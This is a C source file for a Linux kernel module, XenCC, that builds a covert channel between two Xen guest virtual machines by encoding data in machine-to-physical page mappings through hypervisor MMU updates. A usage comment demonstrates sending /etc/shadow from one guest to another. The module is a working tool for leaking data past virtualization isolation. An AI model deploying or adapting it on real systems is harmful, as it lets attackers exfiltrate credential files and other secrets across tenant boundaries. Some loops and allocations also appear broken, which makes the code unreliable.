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xencc.c
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xencc.c
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/*
XenCC v0.2 (12/2008)
Copyright (C) 2008 Mickaël Salaün
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http:https://www.gnu.org/licenses/>.
*/
/*
How to use it?
dom1:~# f=/etc/shadow
dom1:~# dd if="$f" of=/dev/xencc obs=`ls -l "$f" | awk '{print $5}'`
(waiting for the other guest...)
dom2:~# cat /dev/xencc > data
*/
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/mm.h>
#include <linux/wait.h>
#define DEV_NAME "xencc"
MODULE_LICENSE("GPL");
MODULE_AUTHOR ("Mickaël Salaün");
MODULE_DESCRIPTION ("Create /dev/" DEV_NAME " to communicate with an other guest through a Xen covert channel.");
// comment this for the second guest !
#define XENCC_ME_FIRST
// better with @ > PAGE_SHIFT bits (but not tactful)
#define XENCC_TAGS_1 {123456, 13641, 1616}
#define XENCC_TAGS_2 {151651, 1416, 469564}
#ifdef XENCC_ME_FIRST
#define XENCC_TAGS_A XENCC_TAGS_1
#define XENCC_TAGS_B XENCC_TAGS_2
#define XENCC_ME 1
#define XENCC_OTH 2
#else
#define XENCC_TAGS_A XENCC_TAGS_2
#define XENCC_TAGS_B XENCC_TAGS_1
#define XENCC_ME 2
#define XENCC_OTH 1
#endif
#if defined(__i386__)
#define ADDR_LENGTH sizeof(unsigned long)
#else
#error "Unsupported architecture"
#endif
#define XENCC_DATA_PAGES 1
#define XENCC_DATA_SIZE (XENCC_DATA_PAGES * ADDR_LENGTH)
#define XENCC_VALINIT 0
//#define XENCC_WAIT_TIME msecs_to_jiffies(1)
#define XENCC_WAIT_TIME 1
#define MFN_START 0
#define MFN_END 0x00400000
//#define MSG_TYPE_HEXA
static unsigned char xencc_data[XENCC_DATA_SIZE];
static unsigned int xencc_data_size;
static struct page *xencc_pages;
static int xencc_pages_nb;
unsigned long *mfn_allocated;
// other's tags
static unsigned long pfn_oth_header_tag[] = XENCC_TAGS_A;
#define PFN_OTH_HEADER_TAG_SIZE (sizeof(pfn_oth_header_tag) / ADDR_LENGTH)
// our's tags
static unsigned long pfn_my_header_tag[] = XENCC_TAGS_B;
#define PFN_MY_HEADER_TAG_SIZE (sizeof(pfn_my_header_tag) / ADDR_LENGTH)
#define PFN_MY_HEADER_SIZE (3 + sizeof(pfn_my_header_tag) / ADDR_LENGTH)
#define PFN_HEADER_TAG_SIZE PFN_MY_HEADER_TAG_SIZE
#define PFN_HEADER_SIZE PFN_MY_HEADER_SIZE
// without ack field
#define PFN_HEADER_ARS_SIZE (PFN_MY_HEADER_SIZE - PFN_MY_HEADER_TAG_SIZE)
typedef struct
{
unsigned long tag[PFN_HEADER_TAG_SIZE];
unsigned long ack;
unsigned long rest;
unsigned long size;
unsigned long data[XENCC_DATA_PAGES];
} rb_t;
static unsigned long rb_mfn, oth_mfn = 0;
static unsigned long rb_ack = 0; // 0 = RAZ ; 1 = pile ; 2 = face
static unsigned long rb_rest = 0, rb_size;
static unsigned long oth_ack, oth_rest, oth_size;
//#define DBG(...) printk(KERN_DEBUG DEV_NAME " " __VA_ARGS__);
#define DBG(...) /* */
static int xencc_open(struct inode *inode, struct file *filp)
{
DBG("open\n");
return 0;
}
static int xencc_release(struct inode *inode, struct file *filp)
{
DBG("release\n");
return 0;
}
static unsigned long allocate_mfn(unsigned int nb_pages)
{
int order;
struct page *pt;
unsigned long pfn, mfn, i;
for(order = 0; nb_pages > 0; order++)
nb_pages >>= 1;
DBG("order: %d\n", order);
// sauvons les mfn !
mfn_allocated = kmalloc(nb_pages * ADDR_LENGTH, GFP_HIGHUSER);
// info : order < MAX_ORDER (soit 11 suivant la config) => max nb_pages = 1023
pt = alloc_pages(__GFP_REPEAT | __GFP_NOMEMALLOC | __GFP_ZERO | GFP_HIGHUSER, order);
if(pt == NULL)
{
printk(KERN_ALERT DEV_NAME " %s[%d]: page allocation failed with order %d\n",
__FUNCTION__,
__LINE__,
order);
return 0;
}
xencc_pages = pt;
xencc_pages_nb = order;
DBG("alloc_pages: %p\n", pt);
pfn = page_to_pfn(pt);
DBG("page_to_pfn: %08x\n", (unsigned int)pfn);
mfn = pfn_to_mfn(pfn);
DBG("pfn_to_mfn: %08x\n", (unsigned int)mfn);
for(i = 0; mfn < mfn + nb_pages; mfn++, i++)
{
mfn_allocated[i] = mfn_to_pfn(mfn);
DBG("sauv_page %08x\n", (unsigned int)mfn_allocated[i]);
}
return mfn;
}
static void mfn_cc_clean(void)
{
int i, nb_success;
const int max = sizeof(rb_t)/ADDR_LENGTH;
mmu_update_t upd[max];
DBG("cleaning\n");
for(i = 0; i < max; i++)
{
upd[i].ptr = ((rb_mfn + i) << PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
upd[i].val = mfn_allocated[i];
DBG("pfn%d: %08lx -> %08lx\n", i, (unsigned long)(upd[i].ptr >> PAGE_SHIFT), (unsigned long)upd[i].val);
}
HYPERVISOR_mmu_update(upd, max, &nb_success, DOMID_SELF);
if(nb_success != max)
{
printk(KERN_ALERT DEV_NAME " %s[%d]: clean failed (%d)\n",
__FUNCTION__,
__LINE__,
nb_success);
}
DBG("free %p (%d)\n", xencc_pages, xencc_pages_nb);
xencc_pages_nb = 0;
kfree(mfn_allocated);
}
// MFN Cover Channel Write
static unsigned char mfn_cc_write(unsigned char *data, unsigned long size, unsigned long rest)
{
unsigned int nb_success;
unsigned long i, j, max = size / ADDR_LENGTH + (size % ADDR_LENGTH ? 1 : 0);
mmu_update_t upd[max + PFN_HEADER_ARS_SIZE];
DBG("write to guest %d\n", XENCC_OTH);
DBG("mfn_cc_write %p, %lu, %lu\n", data, size, rest);
DBG("max %lu\n", max);
//mfn_cc_clean();
for(i = 0; i < max + PFN_HEADER_ARS_SIZE; i++)
{
upd[i].ptr = (((rb_mfn + PFN_MY_HEADER_TAG_SIZE + i) << PAGE_SHIFT) | MMU_MACHPHYS_UPDATE);
switch(i) {
case 0: // ~ack
rb_ack = (rb_ack == 1) ? 2 : 1;
upd[i].val = rb_ack;
break;
case 1: // rest
rb_rest = rest;
upd[i].val = rb_rest;
break;
case 2: // size
rb_size = size;
upd[i].val = rb_size;
break;
default:
upd[i].val = XENCC_VALINIT;
for(j = 0; j < ADDR_LENGTH && (i - PFN_HEADER_ARS_SIZE) * ADDR_LENGTH + j < size; j++)
upd[i].val += (data[(i - PFN_HEADER_ARS_SIZE) * ADDR_LENGTH + j]) << (j * 8); // little-endian
}
DBG("pfn%lu: %08lx -> %08lx\n", i, (unsigned long)(upd[i].ptr >> PAGE_SHIFT), (unsigned long)upd[i].val);
}
HYPERVISOR_mmu_update(upd, PFN_HEADER_ARS_SIZE + max, &nb_success, DOMID_SELF);
DBG("nb_success:%d length:%lu\n", nb_success, max + PFN_HEADER_ARS_SIZE);
if(nb_success != PFN_HEADER_ARS_SIZE + max)
return 0;
return 1;
}
static unsigned long init_ring_buffer(void)
{
int nb_success, i;
unsigned long mfn;
const int max = sizeof(rb_t)/ADDR_LENGTH;
mmu_update_t upd[max];
mfn = allocate_mfn(max);
DBG("allocate_mfn : %08lx\n", mfn);
DBG("max %d\n", max);
for(i = 0; i < max; i++)
{
upd[i].ptr = ((mfn + i) << PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
if(i < PFN_MY_HEADER_TAG_SIZE)
upd[i].val = pfn_my_header_tag[i];
else
switch(i) {
case PFN_MY_HEADER_TAG_SIZE: // ack
upd[i].val = 0;
break;
case PFN_MY_HEADER_TAG_SIZE + 1: // rest
upd[i].val = 0;
break;
case PFN_MY_HEADER_TAG_SIZE + 2: // size
upd[i].val = 0;
break;
default: // data
upd[i].val = 0;
}
DBG("pfn%d: %08lx -> %08lx\n", i, (unsigned long)(upd[i].ptr >> PAGE_SHIFT), (unsigned long)upd[i].val);
}
HYPERVISOR_mmu_update(upd, max, &nb_success, DOMID_SELF);
DBG("nb_success: %d\n", nb_success);
if(nb_success != max)
return 0;
rb_mfn = mfn;
DBG("rb_mfn %08lx\n", rb_mfn);
return mfn;
}
#define PFN_EXTRACT(pfn, nb) (unsigned char)(pfn >> (nb * 8))
static unsigned char pfn_tag_find(void)
{
unsigned char find = 0, prev = 0;
unsigned long mfn, pfn, tag_id = 0;
DBG("pfn_find_tag\n");
for(mfn = oth_mfn; mfn < MFN_END && find != 2; mfn++)
{
if(prev == 1) {
mfn = MFN_START;
prev = 2;
}
pfn = mfn_to_pfn(mfn);
if(!find && pfn == pfn_oth_header_tag[tag_id]) {
DBG("mfn %p : %p (%d)\n", (void *)mfn, (void *)pfn, (int)tag_id);
if(tag_id == PFN_OTH_HEADER_TAG_SIZE - 1) {
find = 1;
prev = 2;
} else {
tag_id++;
}
} else {
if(prev == 0) {
prev = 1;
DBG("re-searching tag...\n");
} else {
if(find == 0)
tag_id = 0;
else {
DBG("find tag!\n");
oth_mfn = mfn - PFN_OTH_HEADER_TAG_SIZE;
DBG("oth_mfn %08lx\n", oth_mfn);
find = 2;
}
}
}
}
return find;
}
static void pfn_oth_header(void)
{
unsigned long mfn;
mfn = oth_mfn + PFN_OTH_HEADER_TAG_SIZE;
oth_ack = mfn_to_pfn(mfn);
oth_rest = mfn_to_pfn(++mfn);
oth_size = mfn_to_pfn(++mfn);
}
static void pfn_rb_data(void)
{
unsigned int i;
unsigned long mfn, pfn, end = MFN_END, size = oth_size;
xencc_data_size = 0;
mfn = oth_mfn + PFN_HEADER_SIZE;
end = mfn + size / ADDR_LENGTH + ((size % ADDR_LENGTH) ? 1 : 0);
for(; mfn < end; mfn++)
{
pfn = mfn_to_pfn(mfn);
if(size >= ADDR_LENGTH)
{
#ifdef MSG_TYPE_HEXA
if(xencc_data_size + ADDR_LENGTH * 4 <= XENCC_DATA_SIZE)
{
snprintf(xencc_data + xencc_data_size, XENCC_DATA_SIZE - xencc_data_size, "\\x%02x\\x%02x\\x%02x\\x%02x", PFN_EXTRACT(pfn, 0), PFN_EXTRACT(pfn, 1), PFN_EXTRACT(pfn, 2), PFN_EXTRACT(pfn, 3));
xencc_data_size += ADDR_LENGTH * 4;
}
#else
if(xencc_data_size + ADDR_LENGTH <= XENCC_DATA_SIZE)
{
*(unsigned long *)(xencc_data + xencc_data_size) = pfn;
xencc_data_size += ADDR_LENGTH;
}
#endif
size -= ADDR_LENGTH;
} else {
for(i = 0; size > 0 && i < ADDR_LENGTH; i++, size--)
{
#ifdef MSG_TYPE_HEXA
if(xencc_data_size + 4 <= XENCC_DATA_SIZE)
{
snprintf(xencc_data + xencc_data_size, XENCC_DATA_SIZE - xencc_data_size, "\\x%02x", PFN_EXTRACT(pfn, i));
xencc_data_size += 4;
}
#else
if(xencc_data_size + 1 <= XENCC_DATA_SIZE)
{
xencc_data[xencc_data_size] = PFN_EXTRACT(pfn, i);
xencc_data_size++;
}
#endif
}
}
}
}
static unsigned char pfn_ack(void)
{
int nb_success;
mmu_update_t upd[1];
DBG("pfn_ack\n");
rb_ack = oth_ack;
upd[0].ptr = ((rb_mfn + PFN_MY_HEADER_TAG_SIZE) << PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
upd[0].val = rb_ack;
HYPERVISOR_mmu_update(upd, 1, &nb_success, DOMID_SELF);
DBG("ACK %lu\n", oth_ack);
DBG("nb_success: %d\n", nb_success);
if(nb_success != 1)
return 0;
return 1;
}
static ssize_t xencc_read(struct file *filep, char *buff, size_t count, loff_t *offp)
{
DECLARE_WAIT_QUEUE_HEAD(wq);
DBG("read from guest %d\n", XENCC_OTH);
DBG("read offp %lld\n", *offp);
if(!pfn_tag_find()) {
DBG("find nothing\n");
return 0;
}
pfn_oth_header();
DBG("oth_header ack:%lu rest:%lu size:%lu\n", oth_ack, oth_rest, oth_size);
if(oth_size != 0 || oth_rest != 0) {
while(oth_ack == rb_ack) {
DBG("waiting...\n");
wait_event_timeout(wq, 0, XENCC_WAIT_TIME);
pfn_oth_header();
}
pfn_rb_data();
// ack
pfn_ack();
if(copy_to_user(buff, xencc_data, xencc_data_size) != 0)
{
printk(KERN_ALERT DEV_NAME " %s[%d]: kernel -> userspace copy failed\n",
__FUNCTION__,
__LINE__);
return -EINVAL;
}
DBG("xencc_data_size %d\n", xencc_data_size);
return xencc_data_size;
}
return 0;
}
unsigned char wait_read(void)
{
DECLARE_WAIT_QUEUE_HEAD(wq);
do {
pfn_tag_find();
if(oth_mfn != 0)
pfn_oth_header();
if(oth_ack != rb_ack) {
wait_event_timeout(wq, 0, XENCC_WAIT_TIME);
}
} while(oth_ack != rb_ack);
DBG("RST OK\n");
return 1;
}
static ssize_t xencc_write(struct file *filep, const char *buff, size_t count, loff_t *offp)
{
unsigned int i;
unsigned int nb_success;
unsigned long mfn;
mmu_update_t upd[3];
DBG("xencc_write count:%d *offp:%lld offp:%p\n", (unsigned int)count, (long long)(*offp), offp);
if(copy_from_user(xencc_data, buff, XENCC_DATA_SIZE))
{
printk(KERN_ALERT DEV_NAME " %s[%d]: userspace -> kernel copy failed\n",
__FUNCTION__,
__LINE__);
return -EINVAL;
}
if(!mfn_cc_write((unsigned char *)xencc_data, (count > XENCC_DATA_SIZE) ? XENCC_DATA_SIZE : count, (count > XENCC_DATA_SIZE) ? count - XENCC_DATA_SIZE : 0))
{
printk(KERN_ALERT DEV_NAME " %s[%d]: MFN copy failed\n",
__FUNCTION__,
__LINE__);
return -EINVAL;
}
DBG("write\n");
wait_read();
DBG("write new\n");
if(count <= XENCC_DATA_SIZE) { // ack de fin
for(mfn = rb_mfn + PFN_MY_HEADER_TAG_SIZE, i = 0; mfn < rb_mfn + PFN_MY_HEADER_SIZE; mfn++, i++)
{
switch(i) {
case 0: // ack toggle
rb_ack = (rb_ack == 1) ? 2 : 1;
upd[i].val = rb_ack;
break;
case 1: // rest
rb_rest = 0;
upd[i].val = rb_rest;
break;
case 2: // size
rb_size = 0;
upd[i].val = rb_size;
break;
}
upd[i].ptr = (mfn << PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
}
HYPERVISOR_mmu_update(upd, 3, &nb_success, DOMID_SELF);
return count;
}
return XENCC_DATA_SIZE;
}
static struct file_operations xencc_fops = {
.owner = THIS_MODULE,
.read = xencc_read,
.write = xencc_write,
.open = xencc_open,
.release = xencc_release,
};
static struct miscdevice xencc_dev = {
.minor = MISC_DYNAMIC_MINOR,
.name = DEV_NAME,
.fops = &xencc_fops,
};
static int xencc_init(void)
{
int ret = 0;
ret = misc_register(&xencc_dev);
if(ret)
{
printk(KERN_ALERT DEV_NAME " %s[%d]: unable to register device (%d)\n",
__FUNCTION__,
__LINE__,
ret);
return ret;
}
DBG("loaded guest %d\n", XENCC_ME);
xencc_pages_nb = 0;
init_ring_buffer();
return 0;
}
static void xencc_exit(void)
{
if(misc_deregister(&xencc_dev))
printk(KERN_ALERT DEV_NAME " %s[%d]: unable to unregister device\n",
__FUNCTION__,
__LINE__);
mfn_cc_clean();
DBG("unloaded\n");
}
module_init(xencc_init);
module_exit(xencc_exit);